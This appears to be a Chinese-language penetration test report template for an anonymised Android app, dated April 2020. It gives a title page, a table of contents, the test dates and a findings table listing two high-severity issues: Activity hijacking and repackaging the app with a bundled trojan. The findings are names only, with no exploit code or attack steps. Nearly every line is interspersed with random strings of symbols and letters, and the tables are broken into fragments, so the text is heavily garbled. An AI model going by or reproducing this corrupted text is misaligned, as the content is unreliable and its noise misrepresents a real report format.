% }$ o9 A; E; z$ A& w% L# r+ Y
' B% I/ L; E0 a
s0 a# w) K7 p- F; l( L# ? Y1 G( p6 }8 n) R
; Y/ G2 X8 e- K
1 D4 m/ y4 g1 f& K8 s
" U$ f3 K/ b" w/ P( [
% X4 i9 f3 i) J- h- l
# M3 l5 }" M. c+ n! o& z5 D7 I; S6 N" u6 y8 m. v
) ^, D$ W3 K4 A* M) J4 W/ k i
2 [" N7 `* g: C- P 文档编号: - d& O0 K* g1 p' H6 X. n" }
/ O8 W5 I: Z7 X, B
+ X, Y8 w" w4 n- }5 q% z
0 v! w. p- T- c+ I
8 Q7 _3 }, S. c, _& W
' p9 W( J2 X# P8 k9 V
2 I; t( C7 S Z4 v- ^. X6 P1 q6 p
- E8 w) `/ u& y
6 J: W' t0 w4 |6 t' z+ B" Z& R
- F: p6 h2 o: u0 ]; z" |
! i' m/ u2 ?! N; i* y9 f: F
# t9 k i. Y } l
/ l4 h- H' |' f8 `7 w2 |" j( |. c3 U' w5 E5 R
- |" `* W/ K0 s9 R
% j" P8 N0 i1 ?# F9 F % s! ^7 Q8 i: k7 y% C9 U% G" {+ Z! m
+ ]7 B8 E, r5 b5 ^- x6 h8 e
" N3 f9 |3 O0 Q! P) S: B
5 j' G$ \3 d' I1 ]9 y5 f& E) z# N& L
& J5 J. F! B. ^) r/ G& t. c1 S3 `6 i- P, T
0 }! |0 A: W7 x
9 P2 x# q, f! l/ o! q
$ n& h( y7 a, y w! W' H+ i6 {* N& ]) e$ S" `, s7 ^/ I' x% o
" S& f' S( L) p ]. ?6 A a4 O0 d
: _8 Z1 y9 I. W, { 3 C& i F& I) P8 m. P6 ?/ ?. k
3 u: x8 }0 d$ \ s
5 ?& W9 ?' d. P p# N' I' U" m! ]1 ?0 Y. G6 Y
! _" T k) ]! F7 W2 y$ P/ j) h/ D1 f- A8 ~1 k$ F
, h9 Z, a' i4 `" }! I! R
$ S: s. E( o1 j, U. \ 某某某APP渗透测试 + z0 e0 o: O4 |2 b+ }1 l) U' ~) h
" H$ ]; S0 p% G- X2 U
. X( Y8 ^" W" u: c8 } j
( O' L; ?5 p4 H
" k% H! d0 A" `9 S& T# R) e2 c% D
7 j; V" k+ M7 K @
0 Z1 ?+ `6 H1 @% {4 t! c7 }# o
& e" T0 ]. Y. ^( e g9 ?/ O
3 C: ]5 `7 }% i3 @) a * g" V! k x0 b* l+ O* ?$ H
1 T9 L: a# s+ \& X9 `! R. c
2 R5 h) D; \: [$ H6 a# D7 c
! A$ H1 ^# J' O
, T! d! w3 n6 ^0 ~5 ~( l
: ^; _( V: A% _4 {8 B5 z
- g, x% y M: O5 b
t' ?( D7 J/ I
" i6 f1 l/ B2 v6 Q$ Q9 a$ k a# d F6 v; |
5 }3 m' {0 m) M* _2 X6 i) T* @
- M. m' l0 m9 ?& W: u, D
; i' r: j' e' ^$ V/ ?6 Z# ^/ V' ~' z5 |& g( Y" o6 t; x$ }1 |
- x$ ^8 G5 f- ^
0 X& d! \8 w* O, k. u# B
. H1 ?0 u3 J: q) [$ q" m8 C5 C* G0 g/ N. s8 W7 K8 T( a' [7 ^, F
# P) J K+ k. {" E0 c# t! d# R
! F" [6 ?) d$ e1 W5 ~* Q" { 技 术 报 告 ( ]% a$ C" a/ X2 }2 ~, X) N
* A4 o( y' N _* ]' w
+ n+ ~/ A$ V- M h$ [
+ Y5 `2 ?# ~+ B3 `/ \4 \
' U2 L' o. t' q P
; M( V4 B% G. `$ e1 D) j
; _1 w1 S7 [- I F, c
* V( U& t; `5 o E m
* c0 ?7 [% F" o' E: {$ u$ n
; [+ Q1 a, e) s9 B2 u
2 v( {5 T0 z7 ]' ~# |% b) @, x8 h, x
2 K% j# b* p% b3 C4 v- l7 W 4 W3 A. Q7 \7 X. F3 w ?4 I, ]
" E; @7 g; ~- F0 F$ ?; u) [0 }
0 ?6 D9 r4 \8 X+ j
l _, y) m+ G2 D
6 W) X* P6 K, K% y$ i
% v/ ~1 Q1 W8 v" A * s0 P) i( v V9 l+ Y3 L
; j: M+ c, Q# U! ]8 J0 |7 y7 f6 [
} ~* f0 Y l: l/ O1 A5 f0 Z) d3 T$ z) t
7 C% b: F; h2 K# t! y" \ b
+ |- j1 R# R' E7 v2 \ 3 T" M. W8 B8 d- J. n7 r# x* ?
" t; U0 m. n% z1 w/ e0 q F: t
- Q, c# ^& Z2 y8 Q l
* {* r/ R2 F7 g+ k% C& X . T; B, @* n& Y1 S' p8 K
f5 B" J; k% T* Y( v/ E
3 j5 b2 q0 Y1 H J% D/ V) T9 {/ a) K8 C% Y
; R( w o+ t5 m' O% { R6 i8 z9 N2 w g
7 x1 g7 n/ k8 T
) ^. r* H: r7 B( R& i$ ?0 D, a
" S7 S+ d! D. H
: D. J( l4 H- a, O1 J/ H! ~
( |8 R) O( ^% L+ d+ ?4 |5 R1 j& r( ]& M- v( Y: N* _
2 s2 T' @. I5 A& `' ^5 ]% E
. y& p5 U2 f/ x; [1 `$ z" z, [( D : @, s/ k2 \* r- m. O0 w( w
. ?/ }( }: {- l
/ [# l" c2 ^% c, d
! e; \7 C( p/ C" D* z0 t 1 l1 a8 o: T. x$ s: P
4 h6 f p, ^9 s- i) ?
5 ]) \5 o/ b' n5 H) P4 _5 F
5 \+ V' U D2 ^; H m$ t
3 K& {7 U/ X2 n+ v+ p3 P# U, {
& B5 l% m u$ @) d( D" A6 f0 ]
9 y0 C8 U2 c# [9 f1 {8 l; [7 Q* W1 @3 g V9 [+ N: h& {
# Z ~$ ]3 V) ]4 ~: V) b2 e2 H
- h% d g7 c! k: ?0 {6 A
: p$ B" T6 T+ N$ _* k; i6 U
' ]/ m! d: |' m% w9 P' C/ ? 9 c# F: M7 }% U6 C5 h( z
8 N+ h* l! _+ v. B
* F8 k1 |+ q1 K o0 `4 N8 s% t4 V
6 U" a; H* j% m+ y0 @5 A. r$ c" S" V* D/ W- y% F$ z
/ ] Y F3 }2 V+ E, S6 k/ R
' L6 c2 z& E0 L- j z+ i$ ^ j; i! p. } 4 h% h: E$ y& y) W9 @( [
) P4 f: J# l' N2 \4 g
; x: O6 M) v* Y& L# X" _- @. P. P# g( K4 n8 X2 W
$ {' U+ t6 A. I1 _* _
( N2 s: ?% H' h- u
& R5 o/ q4 e; W' A: f* n# D9 H7 M% g/ R6 O
7 p0 Z1 }- m: `8 u) h2 ]$ t. q/ a
( D9 j- h. g1 i, f' e6 S- l# t
3 ~+ ?$ q! }% n: M! ~/ {2 N# O9 w( a b5 W/ P0 `- Y
( q$ R, C) K2 B9 x
4 X8 f8 L( Y. ^& ?5 [$ _/ l# X
6 L, X9 e- a4 g, N( t9 C( ]( u6 ^( v- j4 |' }; F+ S: N7 M
& Z }0 `) Z9 B1 e+ R+ K* t0 I
# f9 ]0 H& I: y
% M! L7 Y* _9 U
) i& w8 R$ G, i8 k( l7 j0 f3 ?; J" S) i
; J+ S7 _. L, y$ l& {" F% }5 p* f4 v. D3 H
% W- L, P% B" c6 [ d3 f) \
8 k% s" q' b0 s
! m/ B: y7 W) G/ z8 B$ R
. `+ t" `, M6 E; U
: {' ~ a7 U$ }
9 ]4 l3 ]9 w0 ~$ A3 w( ?! P
: K F( V: N) A- V+ a6 A
) N6 f8 [% `; `7 T 4 T3 V& |! ^; X7 N: I: I3 A r
+ d# E7 f8 }0 }2 h3 L x+ q9 w
" i# }! M+ |* x3 x( f5 v9 i, c p- _- H
, p( F4 a6 }5 F* n) }3 U
6 ?4 I! k$ a: ^, Q% `7 h6 @
3 Y& i: S0 K/ D7 L$ s3 v* B k$ B: H- |- A2 P! |
2 z7 r1 A' ~! P' m# Q
5 K3 x8 u7 o1 Y8 g& n
. u6 S& ^' J: s1 ^
7 K) i' f$ x' |0 |5 v# I . `( M- n h1 q' l B
1 W& y, I( E7 \
. M V* o1 ]$ @1 {+ A5 W2 E( w0 b( p
, E7 C5 M1 W2 M4 ]8 y: C: I + s0 v5 P2 C* D) o; x9 P
5 o/ T; z) G( e5 c
二〇二〇年 ( V+ g; J8 M2 u. E1 D5 f5 y" R# V
- P6 _. m$ g* b$ v0 a
+ J: N7 W( n. }2 f! F+ Q0 v5 ?8 V& O$ a1 ]
+ W; R: ?9 R5 {! H
' ^6 _4 Q2 V, }6 V# ^
- S4 d" C- P* h9 }9 o7 X( P) M- \3 U g7 a
4 S! j* M& w M0 ?# L7 K, l
, H$ d5 ] J, N3 Q2 d+ R Y
8 X1 {5 n) x( g
- b. ~ R4 L6 P. D
% ?" t m% Q, {2 ?' L# ?- d! a, k- X+ v
. Q/ l( s) g6 L1 \4 y6 {" s, o' K: v+ j2 Z
% p4 {8 t/ ] y8 L
' O0 @/ o" Y& |' a/ o1 N% [2 x- v ; o3 r4 Q3 Q9 _3 O3 t, [2 s8 [
, g9 u# c! x2 U * c7 C0 c8 y+ c- H$ i" z0 F
6 s" m6 k+ T7 ~& ^3 O
目 录 $ G, Q4 K- l. t
; _9 ]4 x% e7 N9 k1 N, T L
: t" ]7 A# }( W( m s, \1 m- R& [0 n. ?
( g( h g. l' g7 h, V: H# y# P
8 P( a6 V9 G0 M7 }8 G
! y/ U8 m% D- J, x! n. n9 W' r/ F+ a( N
6 I# ?& l0 i G( n1 {( f4 D# E& o1 M( U( `7 Y
* B( s9 g2 l* S
+ Z. [# k2 k2 ^. z2 a
! R& L: C: B) K. w7 d( Z4 K0 ?$ B
2 k3 S( l: s; P0 [5 l3 O 1 概述... 3
% ~1 r0 Y- w+ ]+ M5 k$ r7 B% H( m" S7 X) |# }
" V$ ]+ G. y2 p0 n6 L
* o, Z; O5 C1 I& D1 j6 T/ C, Z
+ B7 T! @: x0 g/ j9 Z8 K
@, i9 B7 k& i1 i 1.2测试时间... 3 # {! u; e* s* w" b; p! p# s) }
- o0 E6 W' i. X5 A" K1 `+ `2 U
# j( S3 H2 I3 y3 x9 e- g4 t
' i6 s1 d1 H: o( A+ D2 h8 I& U
. f" [% b+ U, R7 x/ t' W
9 `7 g9 Y8 w' H* l% ?/ d6 A0 }. ^ 1.3测试对象... 3
* X7 w) U# H! O4 V* v" m2 M$ ]; N. I. J2 N0 n. {+ e# X
E8 T) F! v5 _
: x. f; r7 n( V+ ?
* ?- V; Y' D1 W9 j5 X4 e
7 }' w) S2 H4 `5 e3 j
1.4测试结果... 3
3 c! z6 z9 d* f; f3 _6 M
% ?; r( i% c& a* ]* x
% V* s: `! H1 i+ g; C- A$ p: p% X
/ m& f- H2 m4 {- [
! w1 P N$ A7 x! g E' U
1 T4 S6 L8 I3 F. a+ \ 2 检测结果... 4
) M! C1 O# x& `: g" I( g: R( q, n1 }7 H. I( d/ L: V
! ~8 d5 H3 @2 B7 k% B. C
' f4 f; m! g( z* v& S% `
, h7 A6 u* ^ d. m% U/ E
, V/ y- V: B$ {/ w9 O% | 2.1 某某某... 4
# e) F$ j9 @; e) ?6 i! i: w a" n
3 V1 M" u! N7 X
5 m$ u2 s) j. T; B9 I
% M1 ^6 n# g' t
6 W0 Y. N% r% f% w; _! s! F+ L( w" U( Y& w
2.1.1检测目标... 4
9 _8 j! J( l U% p' A$ p( n7 f# N4 i! d
+ t% r5 Z3 Y6 n9 ]! I
# x, e. W" B) {/ b2 \4 i( U 3 M o+ m4 k$ s3 o8 K
4 y# h/ }. C- a
2.1.2检测结果... 4 0 m: s& r: Y% x9 Q9 Y4 H9 V) t/ w( q
! f1 S- n% b4 C/ o" M( S# r% i- g
* Y5 u8 I/ u5 i- o! z
7 G" z. t J u8 U$ |2 j: p2 w
& e7 W& N, T8 m q8 G+ r
" F0 s0 y7 x4 { x
2.1.2.1. 4
* u8 s y# N+ E9 d \. Y0 W
; |+ L/ s% R, K4 `
, [, N0 z8 p5 H$ A% L6 L# d3 r
4 n0 K5 ?% E( o" T
9 F. U8 M- q1 V2 v( L/ m; L2 `4 F) f! v/ \: }6 X" O* T( |0 I
2.1.2.2. 6
$ L, \) k$ M( {/ N/ Q8 S: a9 x! Z' E1 k( C9 _3 j
0 m8 B- }% N# ~& w1 Q; D
, R2 k B& d7 H" E " s8 @- ~6 \ E l( I3 q
# t7 n# i$ P* `5 N# A9 t5 f6 S
, m5 O' h5 S# |2 p8 V/ ?# K) r- {4 |! Q. z
) c- d# y) B4 C+ P0 d6 {! m5 S$ p! ?% X6 v
( j, `& e4 ?' M" e7 A' e, D) D" v( t+ b7 M' m4 m
$ b% c- F, r0 }4 }/ f8 H. |3 M
3 H) Y$ h, j# @: i9 w+ G* r
G' o3 M0 r6 w3 V
1 ^/ N8 \9 C/ g# u0 v, s- i- L- r2 w( A- @ 4 k4 w1 ?4 Z% F/ \8 s `& d# W8 S
9 h! ]1 \# X$ j8 s - {( E$ z) @$ l. B
8 ?, ^6 v4 ~1 S/ G
1 概述
$ C+ D, }4 b# x5 z1 N# l
8 F, E z& S- p* O+ f
4 P2 D, d* V W2 q- B3 R
' q! Y6 O* k& J$ `9 M8 M. k* T
8 ?4 g& X! [5 j) `
$ i" l& w, e4 M5 `' |) T! U- D' ` 1.2测试时间 + k- @$ G$ D/ n+ T
9 {" C) @8 W8 A6 v @5 W
! B3 x. M+ E. V$ e9 ], P3 O
7 S* b% y5 ^1 n% n8 t. L # S# s" S* @. S
% s4 x1 j" G0 @) w7 e: n! C4 B
5 a5 V8 q! i& d Q! m& q" K7 Y* G! i, u
~. J j$ u8 t
7 h8 x2 T) L+ u2 J0 y/ c* n |
( e* e1 k* O! S6 V& g
1 k9 l2 {% z( N1 B$ a. e
& K) C2 J' F+ z! a# O) t: S5 ]3 {8 G
渗透测试时间 % ]" p# _( L& \+ ?# N0 @ |9 o
, q' K6 a* q6 f- ^! h2 p! v
% {1 s- y+ `/ N ]9 l6 m5 n5 h1 w; i( i( P E1 a7 Z% u
|
b9 r% Q- g* S. P4 b
' j1 C1 @6 Y1 b- f8 r
2 B1 n; w; E6 X B6 c
3 U3 N9 J6 M4 e) @
1 h7 ~4 r" D3 V: Q
! e ]' u1 w. f% I! \( S | 9 P; m& G7 m" P) L: ?8 |
6 I% l1 j" {: |( Y( |1 F, F/ w C
/ w% S* N A! r/ ?
4 a& C I* a6 c, L 起始时间 ; m' |- D( p% M: t1 @, |: c
. ~3 }, d, r+ s& R. K' D7 e
# L3 q) \0 u7 C1 X& f. G
% o" ?- q+ U j5 r& b" L1 g |
) [1 L8 Z3 ]1 w( z1 Q; e2 b% Q. Z/ @* C9 l; U& F
s. `3 e8 |, g+ {& _' v& f; g: e" i* F J
% t/ y/ c( v! v7 Y/ O
9 o- G) J: s5 U3 E# S5 o$ l `/ _
2020年4月6日
$ _* d/ n$ v+ `" a' A/ K# J6 n
0 s, T. r# ~9 j- t% K: q. H 2 ~6 ~1 K8 o' Q5 F
! v; N8 E& L8 [1 @ |
3 D! I) [6 [0 s" ]) C/ X: N3 h3 R
: u# o1 m d7 ^2 t. g! l* w8 W, r' W. A, r: p
# L9 ~% G+ p' R, O' a& ^" ]! i" A2 @3 }: g
|
$ ]% }0 h# g. h- \% c. v5 W; \5 K3 F! s- b
/ N$ c, b0 @8 _- h
" N9 \: F$ ^; a( k, I+ T# q" s/ { | 结束时间
6 W" g$ J3 ~ H% `$ A4 L$ c4 f* z
+ h' {! L9 Z6 `" x& U9 V 1 y# v- |! Z* |+ i6 a% X3 r
4 ]3 e, L4 e9 N- l0 h% _
|
6 D+ a" U' `7 O4 d& F9 F5 {$ u% k9 l, Z* j9 Y% m4 ^7 S2 b# B
8 u5 S# [( Q3 |, F) H& O3 s7 K/ E/ e0 I
# v/ y" s. @4 R
' {: j9 c# r6 B, I5 L. g5 H) F
2020年4月9日 , B5 e. V5 a$ v# a" [
( m& Z6 K5 |, H1 [4 Z$ I. K r
, g; G! ?# S3 L- k+ O2 {6 s) b6 g
( u7 ~2 [; t! \% b$ F' r0 w |
( R6 A0 V: X0 H( @4 v$ v, @' v, i1 d# G! u2 ]. c
7 I. P$ e) G9 z2 t' o9 {3 J( I+ U8 _) k7 {" T! b/ U, e
' n8 t" S) k- B( }: W3 d1 A
; D& Q% a( ?) S3 |! [& f5 b7 L, X
1 P9 S" W4 i* J- O% o2 W
5 ]5 U; }" m. `
/ F& [# b0 W9 {: `. s" Q2 N# ]5 f: V( H
1.3测试对象 2 }" R0 k' X6 K+ |) P& U, C! M2 N
" T3 b1 }4 V- t
* p9 J0 C+ O% U* a: m5 a
& Y3 d4 S/ r; r7 K" b, e2 J " V0 L! {. S. s. r! U
9 n d* A9 R' }+ F
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 6 ]5 y( m. ]/ l+ G" X; V9 M
) B% Z; K6 T! H8 Y1 p
/ @( _* y$ M! U- c/ f0 ~0 S
) N$ s4 i2 c$ F* |
8 s$ @5 [6 E' l; M2 Y7 F/ v8 e+ g; O6 S/ |0 G
表1-1 检测对象 ) n8 h& L0 L4 w- E7 n6 ?/ b
* q2 L- Y6 j0 k
8 x. ?# q l" L) ^+ e! k
1 t/ c Q$ p/ y9 H : P& d5 Y. ]- d3 o1 S
9 q: [6 Z0 K0 b/ X: Y; F2 ~ + d% {. k$ Y: ~* b0 y2 V: ^
4 d0 v$ j' k3 N, k8 y, `5 q9 }- U
) s. E# J* I; c1 E# c# ]
/ V' Y4 X3 P' s/ O( J; W, F- ] | . S! k5 d; A0 ?5 X" G% e
5 I2 O0 m/ @) W 9 V8 D/ v2 N8 R, }+ {! j3 G% q) O7 B
& F! ^: k4 {, O; p( k 序号 ; T! p& N; w) M& H3 w
3 b( Z3 x; w' \2 }# g " _& `4 b6 x5 p9 C* [
# ^" c9 i' d3 s) O | " B8 E2 N# ?% U5 l
5 P% f a: z0 U
' S& K" d0 N6 }& F$ }6 {9 R
' C% F* i: q. C+ R# }2 p
# ?7 R. x9 b% b, d( S
8 h0 j2 q! O2 `3 N3 J+ B; | 测试对象
& S+ \) Y7 o2 N+ D8 {. ~: f7 |7 C7 A; y4 a( W# U6 W3 U' y
C1 w. q2 C3 n3 v% g8 R. f. L
( j) @% t9 Z) J, H8 d' l; d X |
& O0 k9 T# `8 k7 |
- {/ ?' R6 D9 C% [8 j
. F6 n4 U N, x7 H W3 I3 \& e7 T! ~" l! l2 V2 w
: f, v: |' j4 o( J
$ F6 v0 L+ K q# N& o 测试地址
! C: Z0 D3 Y% g7 J% G4 d8 g* [2 m
$ v4 j( _( W; G, K
8 {$ j& \1 ]6 n6 |. v8 s3 h1 o+ L7 | ^ H3 d# u
| ) \/ Y* w0 j) Q Y' M
; P8 ]$ d3 ?2 o( R; j% F
" A/ P% S* l( }3 q$ c2 E
! _4 g/ C5 G' _5 l. K ( _1 z; G( Q$ w
% M) S" k1 L; @/ [ 安全漏洞 $ ~( Y) `+ g) Q. `
) C4 z' O% X, C6 i7 g+ T
' ?7 Z# `) F9 g/ N+ q. W0 C& ~( u0 T6 w. ~+ x
|
3 `( z6 ^$ {. O5 o: u6 S* N: K: ]
. }& W% ?, q0 n; J& K
6 S' j( W/ Z" V" e! }& U
}* e0 _# x3 s9 H0 j0 x
8 D: S0 u( h4 t5 b7 b; @# h |
0 a4 G( B7 s4 y0 F; R. N$ H- R3 b A% s% H% y
0 s# {; r* [+ l4 m1 Y' n4 p% x: {; ~# y% V
1 - s' _( z) p( q+ m- _& h4 F
/ k w5 k9 R" |' R' g0 s7 {
/ p) C3 D* e( B4 R! U/ K a
% @! A$ X7 }6 X/ z) }( Q7 t |
5 {7 S# A2 N, z6 j3 ~% k. u9 x& `0 g& D- S
/ ^* T5 n3 j8 W! X) ~
7 [9 b5 \$ A& X 3 p% Y2 \. ^' D" E' ?0 A/ O4 U/ ]) z
3 ]1 N/ r; D7 l) z/ \) R
某某某安卓APP # V9 ~' O8 x E7 S6 y+ L$ |5 O
- r* f( Z5 p( U* S
! Z- C; _" ~6 u7 B
! Z% w6 h, I/ w/ h$ K | ( v0 t2 j5 O0 X, h; |2 J+ I: D, F
$ h2 S. x9 \+ Q) ?1 b4 ^& g
6 a# }/ j9 U# P# H0 l9 h0 L8 Y# L, q
2 K, E+ h, ~6 d- [( `( t8 R) {3 h+ P0 u6 [; A
" A6 i M' t% w6 Z" O; O* k0 a
k2 `: s* g3 ]
. r" R4 [$ Q$ n/ e6 L7 x
. y+ U, n) X; }( U4 z: Y+ i+ \
|
. X& I. R) D6 |+ J% R% ?; H) S
% w3 V% w! H ]2 l& m' V3 W
+ K& u" o% n9 e/ R H3 k3 o' w- d" g( u& D# {
. Q# R8 K& O/ C& o& A2 m4 u- Z+ g9 B* K' y
2
2 j* D/ c5 e$ d8 y7 f8 E% o" B8 a' S9 k, f) t* e4 k
6 u; K$ h @" I' ]' Q R
7 ?" X( D2 I) J8 c* G | & ]! s4 ~8 ? Z- w: ~. r/ V
V- F q6 P& M% g& f. l9 u$ r8 ?# s! `
/ t; K0 m, m6 U( k' u5 x
' A3 _' _; {! I* }2 \7 W7 V
2 _" g5 z. w$ }& ]) t4 X' P5 P: a) T8 c
" `2 f5 ]) H A+ ]" o
. V5 D7 `3 h* H8 c, ?
. X& ?8 R, J! {7 F U
0 R- T8 ~( W* Q! W* a 1.4测试结果
, |9 a7 \0 H' C7 M D; M& W/ s
8 N0 }* a/ I3 G, g2 Q2 A3 ^
( l; C- X J. g
' x& Z& G& h3 U* C ( d$ ~, x% F7 K7 ?( A h
/ a& M: A! b9 T" O; K 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: - W0 Z. U( ~ H( p
9 X! U, }* O/ ?3 p
0 k) ]& t/ M; n; e/ L
2 I" F1 O; b# u: A/ m5 D6 {
0 {# k" K: @. t3 v/ w
4 ^# y) j. h* v! k: T) e2 h8 i 5 P: [. k7 ~% ~3 E a
. w K1 V. c# d3 r6 A, V2 _
4 h" x3 [; X# M1 H5 S( o ]2 ?. J j8 ^2 v' ?
- s! e7 j% }9 c" A% O9 u. k
% W5 m; U+ U& i; V
8 l4 M7 M4 ~! R8 v4 h; M8 A
! r4 z$ H' o4 h% x
5 G/ m+ F+ T0 T+ \ {, }" f/ s
( c; q$ V2 f/ q( F9 t. y) H0 L 1 c& }8 U, l& L8 M
# k2 f, j3 H' I4 e: p | + ~/ k/ W4 D. @, v" E
9 k3 o3 Z* c4 n6 m1 |8 \) O
7 Z0 H6 A5 n1 O3 U: g
* A7 C- U2 ^$ G8 I0 l+ H, s! x 序号 / K9 P( ]$ H F# l* q
9 @" ]; j5 ]$ M6 z
: X t4 Z9 J h) t3 D. E+ K
; f' q" V7 Q& D" h9 W8 m) a | 4 W! h% P4 u3 o \' w! p& X
7 F1 N5 ]6 e2 s$ ] ! ^6 g, g8 ]4 v( z/ _2 f$ e, |
; i; W; g" t& o- v; B; |' R
, n5 t* p8 i, W: L, I6 p# T7 V& O4 j! U8 X$ H1 ]
系统名称
+ H) S1 J6 a/ G" L: s' e
6 B3 Y$ T8 S+ o; D$ t
& n6 w; }9 j4 _ {" W+ b2 E2 l+ L. O% r7 O% p) L# H
|
* C. \$ ]5 t) B M
. y# m; |4 C+ h# \! q
* E7 l+ M t- C5 ~
C; k1 M( v; `" {5 g . C0 W0 t# k" g# C
; I1 \3 T* }4 x, ^$ H 漏洞名称
& H1 ? T* |3 m( K1 E5 Z) O! F
- \( H, J9 p; E , E5 {8 I! u- }# J# w1 w! f) z
5 M/ |% H t! o( u0 X4 R# C
|
- A3 X6 z0 E; J! g2 `+ |; p' q) M2 I9 M. u
: C& k% a" z8 Q+ x7 |6 h1 w w$ o: b1 y5 K
& E; O; v. I* n0 ?1 \
/ ^& n& O" |% p* t8 x5 D- g1 E' r6 x( }- q n
漏洞危害 # ?5 S$ L4 Z% u3 H
: E5 [' w! T* z) r( C1 \
6 N4 B4 x l0 z5 f9 N @
1 g# x0 m( [+ A; s/ R# C0 i) M9 [
|
' f( b- e. h: Q) h" B5 M# y) ^+ n0 o" A. p8 J4 b- N1 n
9 I0 s3 `2 i" w% a6 R. Q( j6 }' K
2 V+ m. x6 N- p2 F
C2 U7 s& b: X+ q9 H0 o2 z 修复结果 @& d" Y0 q& I. T1 o
f, l* U' c, B5 b6 g
/ m( f9 G. R/ m
: ~2 Y: I) `: z. {. [3 ?7 G( D# C | / E& S j( @/ y2 c
7 O8 A$ N6 b& }
8 C; V, m, j' J7 V E0 _; o
' o1 G' H8 X( j) p
0 C1 d$ f- h& p5 a
# [7 z1 t& o3 Z; W6 s/ { | . l3 I8 `% c9 r) j) y9 L
2 h C y7 g; e0 x
$ f* k3 I* c$ R9 I' V
9 k% v9 b3 n! J8 \. F4 f 1
# w; a$ t+ N& H+ l- ?8 D" k0 w z- [9 o( Q
! c2 x4 F9 A( N9 S- k4 }6 r8 S' O& S
| 3 R5 ^" V! `$ V' y" @+ m d1 i
( a4 E% M( h# n, d# E: W : L" f9 U! Y2 k5 { Z4 l
4 a( w, N) [) ^
$ @, u& _2 E9 [/ i$ n+ i
" t9 O. [2 t7 l. ^ 某某某某某某APP
( g: T. N- j- K! K' t( b
" h- ^9 d5 h" s0 v
9 r/ Y& r r! ~ E5 T/ H
% _1 z2 P4 V: k; c | - g1 \/ g+ p0 F6 l# K
# G+ L, R/ U, ]: r$ Z. ? o! F
5 L% u0 X9 a1 U7 ]! R4 V
0 j& f6 P0 T9 B0 s 7 u' N% W+ w) Q$ J
) `! U# J$ {; T5 u" Q6 A Activity 劫持 8 q/ T8 I( g7 e( u" W
8 A" q P. h+ {, a# [
: Q2 B* K6 L5 E; Z2 v% h; q
: W+ i# u3 L5 z. U; @3 J1 G . y+ s9 ^: {' [
4 t9 C7 [6 |! f/ U) P$ Y7 Q3 \
# g& w1 G0 F7 M
& `0 Y% G9 I0 Y$ z
. v! T: r' R2 L4 s! v6 \9 l' y0 a' P& w0 K# l4 O
|
3 Y8 P- M* j% l$ r8 P. \+ a# ~* Z6 p% Q" R2 e5 K; A6 u- @3 N
1 U7 N3 S9 I2 N# g6 y7 a7 B4 P! I# {9 {$ n' @; W/ [ o
- I+ A) g$ s' z
9 ~" ?; O3 h. \9 b3 ?" k 高 # [3 F6 Q3 T4 `' \! Q. Q5 q
, w* d' }' w; w$ H & D+ D5 B$ c+ {1 t+ }* O) U( s
! E& \& `3 O% ^4 w
|
" g& U1 a+ q6 l9 H+ V( w
R. D7 R @; g+ S1 T5 z% v
. w& `" ^ F3 C ]4 U& N0 C- k7 Z! L
( @9 m- N4 x& M, q
; Y: s$ j; x+ v: o S' s o+ @ ; d0 A8 F0 [- a
) m/ q0 i1 m3 y* x
0 [1 p# \8 L- I" S* o1 S5 r, U8 V9 C, w7 Z. Q
| ; T. i4 I' d- C! j
+ B' _( n8 \/ f" |
* _! m: ^! O0 A
; ~6 h* A [4 f, Z0 M* O
. e( ~ L, j) e. e; ~0 d% h8 N( h. I1 a, k7 n, T8 w2 @( k, ~1 H- B
|
) ~- G0 d1 `7 Z8 ?" y: l
; V0 p+ w: x/ e5 e9 E; g
7 V2 q% o; q, Q% o: u+ F$ B
. u) M* T* x- O7 z" y 2 4 V( g/ b6 w& s5 v! B
5 n8 F2 {$ U$ h' |8 ?
0 |* N8 E5 x" x$ l+ l3 L% F0 X' z1 `$ j9 e7 ^
|
. e9 u4 c5 _+ @3 P" I1 m% ~ |* i9 M8 R4 z) r7 ?4 [
* j+ Y) |. G/ |: ^* k8 Q' L% V% B/ z/ l0 M+ I2 {/ i
& d$ Z" \* E @8 C% P6 L
! n4 v+ A0 }" L( ^
某某某某某某APP
% t' }5 {1 `; F; L n$ B
% p. r4 C* t# j/ z) q+ y9 M# M' u q# w) X6 N1 Y- W5 l- U
% S3 l( X: U# V$ D. t, |$ ?1 T4 z
|
" {5 s9 G# ~; J: t5 W
6 Z7 C0 p; @5 k2 D% J
3 a, h R: N3 Q8 [& f$ l, E& z5 r8 W. G3 K
+ ?& t2 N* \+ z' f' ^2 F1 ~2 F: v/ ^7 P5 T% l& F" N7 z# R
反编译二次打包捆绑木马、篡改APP代码 5 V6 Y/ w, I2 ?& [- A2 K
6 n8 R' b, c2 u5 p
( d' c) p( F" P
1 Y) u9 e, g; X9 W! b) l |
! P% [5 U/ m# g' c
5 \" K; X5 a+ m* E3 ^
' L* ~0 Q7 S. L+ A6 x# L- |8 B4 d2 ~/ b3 v! N. G
7 u- g/ \. y J& G
% g% M! n! c5 s 高
, l8 l1 {& H8 V5 H) E. Y
+ r9 i: p% }) p5 {; n8 o. [9 c: Y 4 _* X( C7 L1 L1 y8 M3 P3 E3 p
1 o7 c! a/ I$ y& J( R* f
| ) w2 q& k. x$ |# j+ L& `
4 D3 }* ?( G2 O1 V ; C* B4 q. e7 u4 c
' `* _7 J1 L& I: L5 b$ W, ^ I/ B 8 d; E9 d1 `' [( Y6 x6 o( |
) |3 C- f1 E1 Q" w5 } ; n% O9 ?% }8 V
9 l1 J4 K- `/ e5 U, r2 n $ q( g3 l# |& ^2 `" W- p* z, p0 O- P
- \1 ~( d; h' Q" C/ [# N
|
0 M7 {! `% \. N3 J- N; L5 ^' n( \9 \( A8 S+ H9 F$ _$ @
. u$ ~# A" }6 ~; h7 c+ s% U# O! |1 O K& T
1 ]' j7 N8 C! ]' e5 Y& c" X3 B( f
( R$ {2 Z4 @+ R' W* z
8 ~9 s: v% O8 `4 k
, x. b2 X8 R% p3 B* T1 }7 w; P
5 B' |! t/ {4 s9 R
1 ~' v6 c) t' Z: P" t7 u7 m2 |) O
5 L( ?6 w# p/ O) I8 P6 D/ h: e6 d' x' W- ]
8 U/ j$ S3 n3 f, K# V8 ] a2 ]
' U# Y! B, k5 [! I2 w3 C5 t
( A$ F/ t1 c" m; v
% |! w+ q. H. o5 z" S% y, U
% q, ]- W8 d% f9 t0 V0 W( K" C4 `' Q. ~" j# Y) y" F, Z* c/ Y
表1-2 测试结果
